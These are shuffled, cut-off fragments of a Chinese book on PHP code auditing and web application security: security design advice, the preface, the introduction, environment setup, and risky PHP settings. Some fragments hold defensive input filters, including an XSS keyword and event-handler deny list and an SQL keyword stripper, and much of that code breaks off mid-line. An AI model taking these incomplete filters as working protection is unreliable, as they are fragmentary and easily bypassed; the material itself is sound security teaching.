在很久以前就有不少网站使用站库分离这种方式，不过实现的方式不一样，大多数的站库分离只不过是把数据库放到另外一台服务器上，然后开放数据库端口给Web服务器，Web应用直接通过数据库密码操作数据，这样的方式只能优化服务器的效率，对于安全性的提高并没有什么帮助，笔者这里说的站库分离是采用API的方式调用数据，大概的原理如图12-8所示。 图 12-8 如果业务比较复杂，可以单独跑一台API服务器，数据库服务器配置只允许API服务器访问，流程如图12-9所示。 图 12-9 通过API实现站库分离的好处在于，攻击者即使拿到了Web服务器，也无法在短时间内将全部数据拖走，只要我们建立API接口监控，设置一个阈值，遇到监控接口突然被频繁调用的情况，则说明可能存在刷库行为，这也起到一种入侵检测的作用，当然这一切的前提是API服务器的安全要做好。 12.7 慎用第三方服务 第三方服务的分类有很多，这里说的第三方服务指的是第三方开放给Web应用的接口，或者JS等，CNZZ、百度统计以及广告等，就是非常典型的第三方服务，展现形式多种多样，如图12-10所示。 图 12-10 如图12-11所示为CNZZ用户数据分析，可以精确地统计访客的性别、年龄、职业，等等。 图 12-11 广告商通常都是事先收集用户访问过的网站，然后精准定向推送广告，这就需要一张大网，才能收集到访客的信息，比如使用CNZZ，需要在网站上插入一段JS代码，大致如下所示： <script src=\"http ： //s85.cnzz.com/stat.php ？ id=4318211&web_id=4318211&show=pic\" language=\"JavaScript\"></script> 这段短小的代码会生成一段长长的JS，而一旦用户访问了我们的网站，用户的浏览器就会执行这段JS，JS可以做的事情很多，挂马、钓鱼、盗取cookie，甚至制造蠕虫病毒和发起DDOS攻击，一旦攻击者入侵CNZZ和广告商这些第三方服务之后，就可以间接入侵使用了这些服务的网站，危害非常大。如果一定要使用，建议选择权威一点的服务提供商。 12.8 严格的权限控制 用户权限控制涉及一个角色功能的问题，一种角色可以有多个用户，比如一个商城系统的角色可以分为：超级管理员、普通注册会员、商品管理员、文章管理员、会员管理员、系统设置管理员，订单管理员、评论反馈管理员，等等，如图12-12所示是ECShop后台角色配置页面，权限的控制划分得非常细。 图 12-12 细化权限也是安全体系中非常重要的一环，往往职位不高的人安全意识会比较薄弱，密码可能会设置得相对简单，给他较低的权限，就可以限制他的操作行为，从而提高安全性。"},
    {"text": "12.9 敏感操作多因素验证 多因素验证在很多操作中都适用，特别是敏感的操作，从业务逻辑上来说，不仅仅是后台的登录、修改配置等操作才算敏感，同样前台用户进行个人操作的时候也一样需要受到保护，阿里云在这方面做得非常好，如图12-13所示。 图 12-13 在阿里云进行诸如修改域名解析、修改服务器密码等操作时都需要验证手机短信，这样即使密码被泄露也无法进行这些敏感操作。 多因素认证从字面意思就可以理解，即添加多种验证方式，敏感操作多次验证权限，验证的方式有如下几种： 1）手机短信验证码。 2）手机语言验证码。 3）手机App动态令牌。 4）邮箱验证码。 5）实体令牌卡。 6）电子图片令牌卡。 7）硬件令牌。 验证方式层出不穷，我们在使用的时候需要根据业务的保密程度来确定使用哪种方式，因为每种方式的用户体验不同，像某银行开发的U盾使用的时候必须要用IE浏览器，然后安装各种驱动，折腾半天还要重启一下，最后发现还不一定能用，这种体验非常糟糕。"},
    {"text": "12.10 应用自身的安全中心 虽然现在基于主机WAF、云WAF随随便便都能列出一大堆，但是毕竟这些防御方案都不是定制化的，因为无法结合应用代码逻辑，所以无法很好地防御攻击和满足需求，而应用代码层的防御则可以大大利用白名单的优势，比如已经知道某个参数一定是INT类型，就可以在使用这个参数时将其转为INT类型，或者判断是否为数字，如果不是则将请求驳回，这些优势是其他层面的WAF无法取代的，因此应用自身的安全防御功能必不可少。"},
    {"text": "get_magic_quotes_gpc （）） { $_POST = new_addslashes （ $_POST ）； $_GET = new_addslashes （ $_GET ）； $_REQUEST = new_addslashes （ $_REQUEST ）； $_COOKIE = new_addslashes （ $_COOKIE ）；"},
    {"text": "} 在参数传入时会对$_GET/$_POST/$_COOKIE和$_REQUEST变量进行转义，然后在数据库操作时又会进行过滤，代码如下： /** * 安全过滤函数 * * @param $string * @return string */ function safe_replace （ $string ） { $string = str_replace （ '%20' ， '' ， $string ）；"},
    {"text": "$string = str_replace （ '%27' ， '' ， $string ）； $string = str_replace （ '%2527' ， '' ， $string ）； $string = str_replace （ '*' ， '' ， $string ）； $string = str_replace （ '\"' ， '&quot ； ' ， $string ）； $string = str_replace （ \"'\" ， '' ， $string ）； $string = str_replace （ '\"' ， '' ， $string ）； $string = str_replace （ ' ； ' ， '' ， $string ）； $string = str_replace （ '<' ， '&lt ； ' ， $string ）； $string = str_replace （ '>' ， '&gt ； ' ， $string ）； $string = str_replace （ \"{\" ， '' ， $string ）； $string = str_replace （ '}' ， '' ， $string ）； $string = str_replace （ '\\\\' ， '' ， $string ）； return $string ；"},
    {"text": "} /** * xss 过滤函数 * * @param $string * @return string */ function remove_xss （ $string ） { $string = preg_replace （ '/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S' ， '' ， $string ）；"},
    {"text": "$parm1 = Array （ 'javascript' ， 'vbscript' ， 'expression' ， 'applet' ， 'meta' ， 'xml' ， 'blink' ， 'link' ， 'script' ， 'embed' ， 'object' ， 'iframe' ， 'frame' ， 'frameset' ， 'ilayer' ， 'layer' ， 'bgsound' ， 'title' ， 'base' ）； $parm2 = Array （ 'onabort' ， 'onactivate' ， 'onafterprint' ， 'onafterupdate' ， 'onbeforeactivate' ， 'onbeforecopy' ， 'onbeforecut' ， 'onbeforedeactivate' ， 'onbeforeeditfocus' ， 'onbeforepaste' ， 'onbeforeprint' ， 'onbeforeunload' ， 'onbeforeupdate' ， 'onblur' ， 'onbounce' ， 'oncellchange' ， 'onchange' ， 'onclick' ， 'oncontextmenu' ， 'oncontrolselect' ， 'oncopy' ， 'oncut' ， 'ondataavailable' ， 'ondatasetchanged' ， 'ondatasetcomplete' ， 'ondblclick' ， 'ondeactivate' ， 'ondrag' ， 'ondragend' ， 'ondragenter' ， 'ondragleave' ， 'ondragover' ， 'ondragstart' ， 'ondrop' ， 'onerror' ， 'onerrorupdate' ， 'onfilterchange' ， 'onfinish' ， 'onfocus' ， 'onfocusin' ， 'onfocusout' ， 'onhelp' ， 'onkeydown' ， 'onkeypress' ， 'onkeyup' ， 'onlayoutcomplete' ， 'onload' ， 'onlosecapture' ， 'onmousedown' ， 'onmouseenter' ， 'onmouseleave' ， 'onmousemove' ， 'onmouseout' ， 'onmouseover' ， 'onmouseup' ， 'onmousewheel' ， 'onmove' ， 'onmoveend' ， 'onmovestart' ， 'onpaste' ， 'onpropertychange' ， 'onreadystatechange' ， 'onreset' ， 'onresize' ， 'onresizeend' ， 'onresizestart' ， 'onrowenter' ， 'onrowexit' ， 'onrowsdelete' ， 'onrowsinserted' ， 'onscroll' ， 'onselect' ， 'onselectionchange' ， 'onselectstart' ， 'onstart' ， 'onstop' ， 'onsubmit' ， 'onunload' ）； $parm = array_merge （ $parm1 ， $parm2 ）；"},
    {"text": "for （ $i = 0 ； $i < sizeof （ $parm ）； $i++ ） { $pattern = '/' ； for （ $j = 0 ； $j < strlen （ $parm[$i] ）； $j++ ） { if （ $j > 0 ） { $pattern .= ' （ ' ； $pattern .= ' （ &#[x|X]0 （ [9][a][b] ）；"},
    {"text": "== strpos （ $value ， ' （ ' ） || false ！ == strpos （ $value ， '.' ） || false ！ == strpos （ $value ， '`' ）） { // 不处理包含 * 或者使用了 SQL 方法。 } else { $value = '`'.trim （ $value ） .'`' ； } if （ preg_match （ \"/\\b （ select|insert|update|delete ） \\b/i\" ， $value ）） { $value = preg_replace （ \"/\\b （ select|insert|update|delete ） \\b/i\" ， '' ， $value ）； } return $value ；"},
    {"text": "参考资源 在学习代码审计过程中，我们需要不断接触更多的实例，所以笔者收集了一些不错的有代码审计内容的网站为大家推荐一下。 www.wooyun.org |乌云网 乌云网是目前国内最大的漏洞平台，将白帽子跟厂商联系起来，在对安全问题进行反馈处理跟进的同时，为互联网安全研究者提供一个公益、学习、交流和研究的平台，每天都有大量的开源程序漏洞在乌云网上提交，是一个非常适合漏洞挖掘学习的平台。 www.cnseay.com |Seay网络安全博客 Seay网络安全博客是笔者维护的一个个人博客，主要包括渗透测试，代码审计，软件编程，安全运维以及创业相关文章，其中最核心的内容为代码审计方面，包含大量漏洞挖掘和分析实例。 www.0day5.com |漏洞时代 漏洞时代网主要发布ASP、ASP.NET、PHP、JSP、CGI、Windows、Linux/Unix等多方面漏洞，由民间组织建立。 www.leavesongs.com |离别歌 离别歌是phithon的个人博客，博主经常在其博客发布非常有意思的代码审计漏洞研究，对于新手学习代码审计也是一个不错的去处。 高级PHP应用程序漏洞审核技术 高级PHP应用程序漏洞审核技术是一份放在google的PHP安全文档，地址为 https://code.google.com/p/pasc2at/wiki/SimplifiedChinese ，介绍的是代码审计的方法，推荐阅读。 Table of Contents 序言 前言 导读 第一部分 代码审计前的准备 第1章 代码审计环境搭建 1.1 wamp/wnmp环境搭建 1.2 lamp/lnmp环境搭建 1.3 PHP核心配置详解 第2章 审计辅助与漏洞验证工具 2.1 代码编辑器 2.2 代码审计工具 2.3 漏洞验证辅助 第二部分 漏洞发现与防范 第3章 通用代码审计思路 3.1 敏感函数回溯参数过程 3.2 通读全文代码 3.3 根据功能点定向审计 第4章 漏洞挖掘与防范（基础篇） 4.1 SQL注入漏洞 4.2 XSS漏洞 4.3 CSRF漏洞 第5章 漏洞挖掘与防范（进阶篇） 5.1 文件操作漏洞 5.2 代码执行漏洞 5.3 命令执行漏洞 第6章 漏洞挖掘与防范（深入篇） 6.1 变量覆盖漏洞 6.2 逻辑处理漏洞 6.3 会话认证漏洞 第7章 二次漏洞审计 7.1 什么是二次漏洞 7.2 二次漏洞审计技巧 7.3 dedecms二次注入漏洞分析 第8章 代码审计小技巧 8.1 钻GPC等转义的空子 8.2 神奇的字符串 8.3 php：//输入输出流 8.4 PHP代码解析标签 8.5 fuzz漏洞发现 8.6 不严谨的正则表达式 8.7 十余种MySQL报错注入 8.8 Windows FindFirstFile利用 8.9 PHP可变变量 第三部分 PHP安全编程规范 第9章 参数的安全过滤 9.1 第三方过滤函数与类 9.2 内置过滤函数 第10章 使用安全的加密算法 10.1 对称加密 10.2 非对称加密 10.3 单向加密 第11章 业务功能安全设计 11.1 验证码 11.2 用户登录 11.3 用户注册 11.4 密码找回 11.5 资料查看与修改 11.6 投票/积分/抽奖 11.7 充值支付 11.8 私信及反馈 11.9 远程地址访问 11.10 文件管理 11.11 数据库管理 11.12 命令/代码执行 11.13 文件/数据库备份 11.14 API 第12章 应用安全体系建设 12.1 用户密码安全策略 12.2 前后台用户分表 12.3 后台地址隐藏 12.4 密码加密存储方式 12.5 登录限制 12.6 API站库分离 12.7 慎用第三方服务 12.8 严格的权限控制 12.9 敏感操作多因素验证 12.10 应用自身的安全中心 参考资源"},
    {"text": "Cover 信息安全技术丛书 代码审计：企业级Web代码安全架构 尹毅 著 ISBN：978-7-111-52006-1 本书纸版由机械工业出版社于2015年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook） 目录 序言 前言 导读 第一部分 代码审计前的准备 第1章 代码审计环境搭建 1.1 wamp/wnmp环境搭建 1.2 lamp/lnmp环境搭建 1.3 PHP核心配置详解 第2章 审计辅助与漏洞验证工具 2.1 代码编辑器 2.2 代码审计工具 2.3 漏洞验证辅助 第二部分 漏洞发现与防范 第3章 通用代码审计思路 3.1 敏感函数回溯参数过程 3.2 通读全文代码 3.3 根据功能点定向审计 第4章 漏洞挖掘与防范（基础篇） 4.1 SQL注入漏洞 4.2 XSS漏洞 4.3 CSRF漏洞 第5章 漏洞挖掘与防范（进阶篇） 5.1 文件操作漏洞 5.2 代码执行漏洞 5.3 命令执行漏洞 第6章 漏洞挖掘与防范（深入篇） 6.1 变量覆盖漏洞 6.2 逻辑处理漏洞 6.3 会话认证漏洞 第7章 二次漏洞审计 7.1 什么是二次漏洞 7.2 二次漏洞审计技巧 7.3 dedecms二次注入漏洞分析 第8章 代码审计小技巧 8.1 钻GPC等转义的空子 8.2 神奇的字符串 8.3 php：//输入输出流 8.4 PHP代码解析标签 8.5 fuzz漏洞发现 8.6 不严谨的正则表达式 8.7 十余种MySQL报错注入 8.8 Windows FindFirstFile利用 8.9 PHP可变变量 第三部分 PHP安全编程规范 第9章 参数的安全过滤 9.1 第三方过滤函数与类 9.2 内置过滤函数 第10章 使用安全的加密算法 10.1 对称加密 10.2 非对称加密 10.3 单向加密 第11章 业务功能安全设计 11.1 验证码 11.2 用户登录 11.3 用户注册 11.4 密码找回 11.5 资料查看与修改 11.6 投票/积分/抽奖 11.7 充值支付 11.8 私信及反馈 11.9 远程地址访问 11.10 文件管理 11.11 数据库管理 11.12 命令/代码执行 11.13 文件/数据库备份 11.14 API 第12章 应用安全体系建设 12.1 用户密码安全策略 12.2 前后台用户分表 12.3 后台地址隐藏 12.4 密码加密存储方式 12.5 登录限制 12.6 API站库分离 12.7 慎用第三方服务 12.8 严格的权限控制 12.9 敏感操作多因素验证 12.10 应用自身的安全中心 参考资源 序言 我第一次见到尹毅是2013年在北京中关村。那时候我正在安全宝创业，我们需要招募到最好的人才。这时候尹毅的博客吸引了我，在一个技术分享逐渐枯竭的时代，他的博客令人眼前一亮。然后我试图联系到了他，并邀请到北京来聊一聊。 让我大吃一惊的是，尹毅当时还是一个孩子模样，但是时不时能从生涩的脸庞里看到成熟。在这个年纪就出来工作，我想他一定吃过很多苦。在之后的工作中，尹毅展现出了惊人的天赋。交给他的工作总是能迅速并出色地完成，并时不时会在工作中有一些创新性成果令人惊喜。他的自驱力极强，总是不满足于简单的工作，于是我不得不想出一些更复杂和艰难的挑战交给他。 2014年9月，安全宝分拆了部分业务被阿里收购，我带着尹毅一起到了阿里。此时他已经成为一个安全团队的Leader，在中国最大的互联网公司里贡献着力量。 尹毅学东西很勤奋，他平时的业余时间就是写代码，或者看技术文章，因此进步迅速。他很快就在Web漏洞挖掘能力方面有了长足的进步，并取得了不错的成绩，他陆续发现了好些开源软件的高危漏洞。最难能可贵的是，他开始逐步总结这些经验，并且沉淀在自己开发的一个漏洞挖掘工具里。这让他学会了如何从重复的体力劳动中解放出来，把精力用在更有价值的地方。这是一个优秀黑客应具有的特质：厌倦重复性的体力劳动，而对创新充满着无限的热情和旺盛的精力。 尹毅认为，一个好的黑客，必须要懂编程。这也是他在这本书里所倡导的理念。在他看来，不懂编程、没挖过漏洞的黑客，充其量只能算“脚本小子”。所以，尹毅在本书的出发点是从代码审计开始，通过代码审计，去发现和挖掘漏洞。 漏洞挖掘是一门艺术，同时也是信息安全的核心领域。安全技术发展到今天，常见的漏洞挖掘技术有代码审计、黑盒测试、Fuzzing、逆向分析等。每一种技术都有独到之处，而其中，代码审计又是最基本、最直接的一种方式，是每一个安全专家都应该掌握的技能。 但时至今日，全自动化的代码审计仍然存在很多困难，主要难点在于理解编程语言的语法、跨文件之间的关联调用、理解开发框架、业务逻辑等地方。因为这些困难在短期内难以克服，所以通过代码审计来挖掘漏洞，仍然是一种极具技巧性和需要丰富经验的工作。在本书中，尹毅根据他自身的经验和学习成果，对这些知识技巧做了一个很好的总结。 本书虽然主要讲述的是PHP代码安全问题，但其中的很多思想和案例都非常具有代表性。同时，因为互联网上大量的Web应用都是由PHP写成的，因此研究PHP代码安全对于整个互联网Web安全的研究具有至关重要的作用。对于新人来说，非常建议从本书中讲述的内容开始学习。 吴翰清，阿里云云盾负责人，《白帽子讲Web安全》作者 2015.9.20"},
    {"text": "前言 代码审计是指对源代码进行检查，寻找代码中的bug，这是一项需要多方面技能的技术，包括对编程的掌握、漏洞形成原理的理解，系统和中间件等的熟悉。 为什么需要代码审计 代码审计是企业安全运营以及安全从业者必备的基础能力 。代码审计在很多场景中都需要用到，比如企业安全运营、渗透测试、漏洞研究等。目前已经有不少公司在推广微软的软件SDL（Security Development Lifecycle，安全开发周期），它涵盖需求分析→设计→编码→测试→发布→维护，安全贯穿整个软件开发周期，其中设计、编码和测试是整个SDL的核心，安全问题大多在这里被解决掉。其中在安全设计这块，必须要非常了解漏洞形成原理，纵观全局。而在代码实现也就是编码阶段，安全依靠于编程人员的技术基础以及前期安全设计的完善性。然后是测试，测试包括白盒测试。黑盒测试以及灰盒测试。黑盒测试也叫功能测试，是指在不接触代码的情况下，测试系统的功能是否有bug，是否满足设计需求。而白盒测试就是我们说的代码审计，以开放的形式从代码层面寻找bug，如果发现有bug则返回修复，直到没有bug才允许软件发布上线。 渗透测试人员掌握代码审计是非常重要的，因为我们在渗透过程中经常需要针对目标环境对payload进行调试。另外，如果通过扫描器扫描到Web目录下的一个源码备份包，通常攻击者都会利用源码包找一些配置文件，因为里面有数据库、API等一类配置。如果环境有限制，比如目标站数据库限制连接IP等，那么工具小子可能在源码包进行的漏洞利用也就到此为止。对于懂代码审计的人，结果完全不一样，他可以对源码包进行安全审计，发现网站代码里存在的漏洞，然后利用挖掘到的漏洞进行渗透。 编程能力要求 代码审计对编程语言的基础有一定要求，至少要能看得懂代码，这里说的看懂代码不是简单地理解几个if...else语句和for循环，而是能看懂代码的逻辑，即使有很多函数没见过，也是可以到Google去查的。都说编程在语言这块是一通百通，只要我们对编程思想理解得非常透彻，重新接触一种编程语言也是非常快就能上手的，所以不管你之前写过Java还是C#程序，想玩一玩PHP的代码审计都应该不是什么大问题。 代码审计环境准备 代码审计首先要准备的是审计环境工具，不同的环境会影响漏洞的利用，所以建议Linux和Windows系统下的PHP环境都搭建一套，并且需要多个PHP版本。关于版本切换这块，建议安装phpStudy，phpStudy是一套Apache+Nginx+LightTPD+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader的集成环境，可以很方便地安装和切换环境。代码审计的工具有很多个，这里推荐使用笔者开发的Seay源代码审计系统以及RIPS，二者都是免费开源工具。 除了自动化审计工具外，还有一些像Burp Suite、浏览器扩展以及编码工具等审计辅助工具也都是必备的。 代码审计思路 通常做代码审计都是检查敏感函数的参数，然后回溯变量，判断变量是否可控并且没有经过严格的过滤，这是一个逆向追踪的过程。而代码审计并非这一种手段，还可以先找出哪些文件在接收外部传入的参数，然后跟踪变量的传递过程，观察是否有变量传入到高危函数里面，或者传递的过程中是否有代码逻辑漏洞，这是一种正向追踪的方式，这样的挖掘方式比逆向追踪挖掘得更全。还有一种方式是直接挖掘功能点漏洞，根据自身的经验判断该类应用通常在哪些功能中会出现漏洞，直接全篇阅读该功能代码。 可能不少新手对于学习PHP代码审计还有一些迷茫，或许之前尝试过学习，但一直没有很好的进展，因为代码审计是一门很专的技术活，要学好PHP代码审计，需要掌握以下几点： ·PHP编程语言的特性和基础。 ·Web前端编程基础。 ·漏洞形成原理。 ·代码审计思路。 ·不同系统、中间件之间的特性差异。"},
    {"text": "导读 本书总共分为三个部分。第一部分为代码审计前的准备，包括第1章以及第2章，第1章详细介绍我们在学习代码审计前需要了解的PHP核心配置文件以及PHP环境搭建的方法，第2章介绍学习PHP代码审计需要准备的工具，以及这些工具的详细使用方法。 第二部分包括第3~8章，着重介绍PHP代码审计中的漏洞挖掘思路与防范方法。 第3章详细介绍PHP代码审计的思路，包括根据关键字回溯参数、通读全文代码以及根据功能点定向挖掘漏洞的三个思路。 第4~6章讲述常见漏洞的审计方法，分别对应基础篇、进阶篇以及深入篇，涵盖SQL注入漏洞、XSS漏洞、文件操作漏洞、代码/命令执行漏洞、变量覆盖漏洞以及逻辑处理等漏洞。 第7章介绍二次漏洞的挖掘方法，二次漏洞在逻辑上比常规漏洞要复杂，所以我们需要单独拿出来，以实例来进行介绍。 在经过前面几章的代码审计方法学习之后，相信大家已经能够挖掘不少有意思的漏洞。第8章将会介绍代码审计中的更多小技巧，利用这些小技巧可以挖掘到更多有意思的漏洞。每类漏洞都有多个配套的真实漏洞案例分析过程，有助于读者学习代码审计的经验。不过，该章不仅介绍漏洞的挖掘方法，还详细介绍这些漏洞的修复方法，对开发者来说，这是非常有用的一部分内容。 第三部分包括第9~12章，主要介绍PHP安全编程的规范，从攻击者的角度来告诉你应该怎么写出更安全的代码，这也是本书的核心内容：让代码没有漏洞。第9章主要介绍参数的安全过滤，所有的攻击都需要有输入，所以我们要阻止攻击，第一件要做的事情就是对输入的参数进行过滤，该章详细分析discuz的过滤类，用实例说明什么样的过滤更有效果。 第10章主要介绍PHP中常用的加密算法。目前99%以上的知名网站都被拖过库，泄露了大量的用户数据，而这一章将详细说明使用什么样的加密算法能够帮助你增强数据的安全性。 第11章涉及安全编程的核心内容。所有的应用都是一个个功能堆砌起来的，该章从设计安全功能的角度出发，从攻击者的角度详细分析常见功能通常会出现的安全问题，在分析出这些安全问题的利用方式后，再给出问题的解决方案。如果你是应用架构师，这些内容能够帮助你在设计程序功能的时候避免这些安全问题。 第12章介绍应用安全体系建设的两种策略以及实现案例：横向细化和纵深策略，企业的应用安全应把这两种策略深入到体系建设中去。 以上就是本书的全部内容，看到介绍之后你是不是有点儿兴奋呢？赶紧来边读边试吧。 感言和致谢 这本书断断续续写了一年多，期间也发生了很多事情。在2014年9月的时候从创新工场旗下项目安全宝离职，加入到阿里巴巴安全部。到了一个新的环境，工作上面倒是很快就融入了进去，只是从北京到杭州，是从一个快节奏的城市转到一个慢节奏的城市，感觉整个人变懒了，没有以前在北京那样每天激情澎湃。曾经一度想过放弃，因为心里总感觉像是被捆住了一样，想去做一些事情却因为还有这本书没写完而不能去做。因为写这本书是我必须要做的事情，一是算是给我自己在安全领域的一个交代，二是我承诺过吴怡编辑，一定会努力写好这本书，在这个事情上我看得很严肃，承诺了就一定要做到。 为什么说这算是给自己在安全领域的一个交代呢？记得跟不少朋友说过，创业是我必定要做的一个事情，或许哪天转行创业了，在这个行业里留下了点东西也心安了。回想自己从最初迷恋上网络安全到现在，中间的一些转折点和小插曲还挺有意思，比如以全校第一的成绩考上重点高中之后，读了一年就退学去离家很远的软件开发培训学校，花500块钱在网吧淘了一台放酷狗都卡得不行的台式机，在重庆连续通宵读书快一年，等等，这些都已经是美好的回忆。在这些美好回忆中遇到很多美好的人，想对他们说声谢谢。 感谢父母和姐姐、姐夫，最早去重庆的时候，姐姐还怀着马上要出生的外甥女，跟姐夫开车送我去重庆。学校一个学期一两万的学费，父母预支薪水供我读书，感谢他们的付出。 感谢机械工业出版社的吴怡编辑，如果没有她的鼓励和指导，也不会有这本书的面世，真心感谢她。 感谢吴瀚清（网名：刺、道哥、大风），在安全宝的时间里，刺总给了我很多帮助，不管是工作上还是个人成长上都给予引导和包容，他是一位真正的好老板。 感谢safekey team的兄弟们，他们是晴天小铸、tenzy、x0h4ck3r、zvall、yy520以及cond0r，本书里面有多个影响非常大的0day出自他们之手，我们因为喜欢代码审计而聚集在一起。 感谢曾经陪我熬了无数个通宵的好哥们Snow、小软，我们曾经一起渗透，一起研究，一起写代码，无不分享。 感谢工作中同我一起奋斗的同事们，没有他们的辛苦战斗就没有今天我们攻城拔寨的辉煌战绩，他们包括但不限于：翁国军、李翼、全龙飞、曾欢。 感谢喜付宝的林能（ID：矢志成谜）对本书提出的建设性建议。 尹毅 微信：seayace 邮箱：root@cnseay.com 博客： www.cnseay.com 微博： http://weibo.com/seayace"},
    {"text": "第一部分 代码审计前的准备 漏洞的利用依赖PHP版本、Web中间件版本与类型、操作系统类型和版本以及这些软件的配置等多因素，所以我们在代码审计前需要做不少的准备工作，最重要的是环境搭建和代码审计辅助工具的使用，这一部分将从代码审计环境的搭建和这些工具的使用来展开介绍。 第1章主要介绍环境的搭建，包括wamp/wnmp环境以及lamp/lnmp环境。这些环境搭建是简单的。这里要重点理解的是PHP的核心配置，大多数情况下PHP的配置可以决定一个漏洞能否利用。 在代码审计过程中，需要用到很多额外的辅助工具，比如编辑器、代码审计系统以及正则表达式工具，等等。借助这些辅助工具，可以大大提高审计效率，所以第2章中将着重介绍这些辅助工具的使用。 第1章 代码审计环境搭建 在搭建PHP代码审计环境时，因为不是线上环境，为了方便配置环境，所以尽量使用最简单的搭建方法，通常代码审计师都选择安装wamp/wnmp或者lamp/lnmp等环境集成包，可以快速构建我们所需要的PHP运行环境。在选择集成包的时候必须要考虑的是集成环境版本问题，对于PHP、MySQL、Apache等服务软件版本，尽量使用目前使用最多的版本，比如PHP 5.2.X、MySQL 5.0以上，在针对特殊的漏洞测试时可能还需要安装不同的版本进行测试，还需要在不同的操作系统下测试。 1.1 wamp/wnmp环境搭建 wamp组合是使用最多的测试环境，常用的集成环境包有phpStudy、WampServer、XAMPP以AppServ。其中使用最方便且功能最强大的是phpStudy，该程序包集成最新的Apache+Nginx+Lighttpd+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader，一次性安装，不需要配置就可以直接使用，是非常方便、好用的PHP调试环境。并且它支持26种环境组合随意更改，截至目前，它支持Apache、Nginx、Lighttpd、IIS6/7/8中任意一种WebServer随时在PHP 5.2、PHP 5.3、PHP 5.4、PHP 5.5、PHP 5.6中切换组合使用。我们可以在phpStudy官网 www.phpstudy.net 直接下载phpStudy安装程序。 我们通过官网链接 http://www.phpstudy.net/phpstudy/phpStudy-x64.zip 下载最新版的phpStudy。安装后，双击系统桌面上phpStudy图标即可启动服务，默认是Apache+PHP 5.3。这时候访问 http://localhost/ 即可看到phpStudy探针，如图1-1所示。 图 1-1 我们可以点击界面上的“其他选项”菜单按钮，在菜单中找到“PHP版本切换”项，更改配置和切换Web服务组合，如图1-2所示。 图 1-2 点开选项中的“PHP版本切换”我们看到26种环境组合可以供我们随意切换，如图1-3所示。 图 1-3 当我们需要Nginx环境时，只需选中Nginx+PHP*，然后点击“应用”按钮即可。 然而，在启动Web服务时偶尔也会遇到服务启动失败的情况，最常见的是WebServer服务端口被占用以及WebServer配置文件错误。对于端口占用，解决方案有两种，第一种是更换WebServer的服务端口，在配置文件中更改监听端口号即可；第二种则是结束占用端口的进程。 如果Apache的配置文件httpd.conf出错，用命令行模式启动Apache，并带上参数，Apache会提示你配置文件哪里有错误，然后就可以针对性地解决，命令是：httpd.exe-w-n\"Apache2\"-k start，其中Apache2表示服务名。 1.2 lamp/lnmp环境搭建 在不同的操作系统下，漏洞的测试结果也可能会不一样。简单举例，像文件包含截断，在Windows下与Linux下截断也有不一样的地方。为了更好地测试漏洞，我们还需要搭建Linux下的PHP环境。跟Windows一样，在Linux下也有PHP集成环境包，常用的有phpStudy for Linux、lanmp以及XAMPP。因为phpStudy支持Apache、Nginx、Lighttpd中任意一种WebServer在PHP 5.2、PHP 5.3、PHP 5.4、PHP 5.5中12种组合的简单切换，为了更方便测试环境调整，所以我们依旧选择phpStudy来搭建lanmp测试环境，phpStudy支持CentOS、Ubuntu、Debian等Linux系统。 我们通过官网http://lamp.phpstudy.net/下载最新版的phpStudy到虚拟机并进行安装。安装过程很简单，如果你选择的是下载版，只需要执行如下命令： wget -c http ： //lamp.phpstudy.net/phpstudy.bin ？ chmod +x phpstudy.bin # 权限设置 ./phpstudy.bin # 运行安装 按提示安装自己所需要的环境组合，如图1-4所示。 图 1-4 访问 http://localhost （如图1-5所示），说明安装成功。 图 1-5 假如你先安装了Apache+PHP 5.3，想切换成Nginx+PHP 5.4，只需再运行一次./phpstudy.bin，你会发现有一行是否安装MySQL提示，选择“不安装”，这样只需要编译Nginx+PHP 5.4，从而节省时间，这样只需要几分钟即可。"},
    {"text": "然而，在不同的PHP版本中配置指令也有不一样的地方，新的版本可能会增加或者删除部分指令，改变指令默认设置或者固定设置指令，因此我们在代码审计之前必须要非常熟悉PHP各个版本中配置文件的核心指令，才能更高效地挖掘到高质量的漏洞。"},
    {"text": "我们在阅读PHP官方配置说明（ http://www.php.net/manual/zh/ini.list.php ）之前需要了解几个定义值，即PHP_INI_*常量的定义，参见表1-1。 表1-1 PHP_INI_*常量的定义 PHP配置文件指令多达数百项，为了节省篇幅，这里不一一对每个指令进行说明，只列出会影响PHP脚本安全的配置列表以及核心配置选项。"},
    {"text": "1.register_globals（全局变量注册开关） 该选项在设置为on的情况下，会直接把用户GET、POST等方式提交上来的参数注册成全局变量并初始化值为参数对应的值，使得提交参数可以直接在脚本中使用。"},
    {"text": "register_globals在PHP版本小于等于4.2.3时设置为PHP_INI_ALL，从PHP 5.3.0起被废弃，不推荐使用，在PHP 5.4.0中移除了该选项。 当register_globals设置为on且PHP版本低于5.4.0时，如下代码输出结果为true。"},
    {"text": "图 1-6 2.allow_url_include（是否允许包含远程文件） 这个配置指令对PHP安全的影响不可小觑。 在该配置为on的情况下，它可以直接包含远程文件，当存在include（$var）且$var可控的情况下，可以直接控制$var变量来执行PHP代码。 allow_url_include在PHP 5.2.0后默认设置为off，配置范围是PHP_INI_ALL。 与之类似的配置有allow_url_fopen，配置是否允许打开远程文件，不过该参数对安全的影响没有allow_url_include大，故这里不详细介绍。 配置allow_url_include为on，可以直接包含远程文件。"},
    {"text": "3.magic_quotes_gpc（魔术引号自动过滤） magic_quotes_gpc在安全方面做了很大的贡献，只要它被开启，在不存在编码或者其他特殊绕过的情况下，可以使得很多漏洞无法被利用，它也是让渗透测试人员很头疼的一个东西。 当该选项设置为on时，会自动在GET、POST、COOKIE变量中的单引号（'）、双引号（\"）、反斜杠（\\）及空字符（NULL）的前面加上反斜杠（\\），但是在PHP 5中magic_quotes_gpc并不会过滤$_SERVER变量，导致很多类似client-ip、referer一类的漏洞能够利用。 在PHP 5.3之后的不推荐使用magic_quotes_gpc，PHP 5.4之后干脆被取消，所以你下载PHP 5.4之后的版本并打开配置文件会发现找不到这个配置选项。"},
